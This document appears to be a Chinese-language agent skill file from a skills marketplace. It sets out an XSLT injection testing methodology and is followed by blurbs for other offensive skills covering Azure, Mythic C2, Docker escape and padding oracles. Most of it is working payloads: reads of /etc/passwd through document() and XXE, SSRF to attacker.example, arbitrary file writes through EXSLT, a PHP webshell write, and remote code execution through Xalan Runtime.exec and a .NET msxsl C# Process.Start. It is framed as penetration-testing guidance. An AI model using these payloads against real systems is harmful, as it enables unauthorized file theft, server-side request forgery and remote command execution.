skills/exploit/web-method/xslt-injection/SKILL.md
XSLT 注入测试方法论。当目标存在用户可控的 XSLT/样式表输入、XML 转换端点、报表生成器、XML→HTML 转换器时使用。覆盖处理器指纹识别(Xalan/Saxon/libxslt/MSXML)、XXE via XSLT(DTD外部实体)、document() SSRF/文件读取、EXSLT 文件写入、PHP php:function RCE、Java Saxon/Xalan 扩展 RCE、.NET msxsl:script RCE。完全零覆盖漏洞类型——任何涉及 XSLT、XML 样式表、XML 转换的测试都应使用此 skill
npx skillsauth add wgpsec/AboutSecurity xslt-injectionInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
XSLT 注入发生在攻击者可控的 XSLT 被服务端编译/执行时。关键是先识别处理器类型(Java/.NET/PHP/libxslt),再按平台选择攻击路径。
xslt, stylesheet, transform, template、SOAP 样式表、报表生成器、XML→HTML 转换器xsl:value-of select="'marker'" — 输出变化则确认执行无害探测 payload:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="'XSLT_PROBE_OK'"/>
</xsl:template>
</xsl:stylesheet>
使用标准 system-property 读取:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/>
<xsl:text> version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/>
<xsl:text> vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/>
</xsl:template>
</xsl:stylesheet>
指纹对照表:
| 信号 | 引擎 |
|---|---|
| Apache Software Foundation / Xalan 标记 | Xalan(Java) |
| Saxonica / Saxon URI | Saxon |
| libxslt / GNOME 栈 | libxslt(C,常见于 PHP/nginx) |
| Microsoft URL / MSXML 字符串 | MSXML / .NET XSLT 栈 |
根据结果选择 §5–§7 路径。
document()document() 加载另一个 XML 文档到节点集;本地文件通常按 XML 解析(有噪声),但错误和部分读取仍可泄露信息。
Unix:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
Windows:
<xsl:copy-of select="document('file:///c:/windows/win.ini')"/>
SSRF / 带外:
<xsl:copy-of select="document('http://attacker.example/ssrf')"/>
如果数据不直接返回客户端,可配合错误回显或时间差观测。
XSLT 1.0 允许在样式表中使用 DTD 外部实体(当解析器允许 DTD 时):
<!DOCTYPE xsl:stylesheet [
<!ENTITY ext_file SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:value-of select="'ENTITY_START'"/>
<xsl:value-of select="&ext_file;"/>
<xsl:value-of select="'ENTITY_END'"/>
</xsl:template>
</xsl:stylesheet>
加固的解析器会禁用外部 DTD — 此处失败不代表其他 XSLT 向量(§2)不可用。
exslt:document)当 EXSLT common 扩展启用时:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit">
<xsl:template match="/">
<exploit:document href="/tmp/evil.txt" method="text">
<xsl:text>PROOF_CONTENT</xsl:text>
</exploit:document>
</xsl:template>
</xsl:stylesheet>
影响:在路径权限允许的位置任意写文件 — 常可通过 webroot/cron/包含点实现 RCE。
php:function)需要 PHP XSLT 启用了 registerPHPFunctions() 的场景(应用配置不当):
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:value-of select="php:function('readfile','index.php')"/>
</xsl:template>
</xsl:stylesheet>
目录列表:
<xsl:value-of select="php:function('scandir','.')"/>
危险操作(仅在实验环境验证):
php:function('file_put_contents','/var/www/shell.php','<?php ...') — Webshell 写入php:function('assert', string($payload)) — 旧版 PHP 代码执行注意:现代 PHP 加固通常阻止这些;没有 RCE 不代表 document()/XXE 不可用。
Java 引擎可能暴露映射到静态方法的扩展函数。
Xalan 风格(概念性 — 根据实际版本和扩展绑定调整):
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>
</xsl:template>
</xsl:stylesheet>
Saxon 风格:
Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C whoami')
如果扩展被禁用(常见的安全默认配置),转向 document()、SSRF 或其他攻击面。
msxsl:script)当 Microsoft XSLT 脚本块启用时:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
extension-element-prefixes="msxsl">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string xexec() {
System.Diagnostics.Process.Start("cmd.exe", "/c whoami");
return "ok";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xexec()"/>
</xsl:template>
</xsl:stylesheet>
默认安全配置通常禁用脚本 — 此路径仅在启用时有效。
用户可控 XSLT 或 XML 转换?
|
否 → 不在范围
|
是
|
+-----------+-----------+
| |
输出反射 无反射
注入逻辑? 尝试盲通道
| |
v v
system-property() 错误/OOB/时间差
指纹识别引擎 |
| |
+---+---+---+ document()
| | | |
libxslt Java .NET SSRF/文件读
| | | |
document() Saxon/ msxsl:script? EXSLT?
EXSLT写 Xalan | |
| 扩展? C# Process 记录证据
v v v
文件读/写 rt:exec cmd.exe /c
| 类别 | 工具 |
|---|---|
| 代理/手动 | Burp Suite, OWASP ZAP — 重放样式表 payload,观察响应和错误 |
| XML/XSLT 实验环境 | 匹配目标完全相同的处理器(PHP libxslt / Java Saxon 版本 / .NET framework)|
| 带外 | Collaborator / 私有回调服务器用于 document('http://…') |
没有通用扫描器能替代版本特定的行为验证。
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能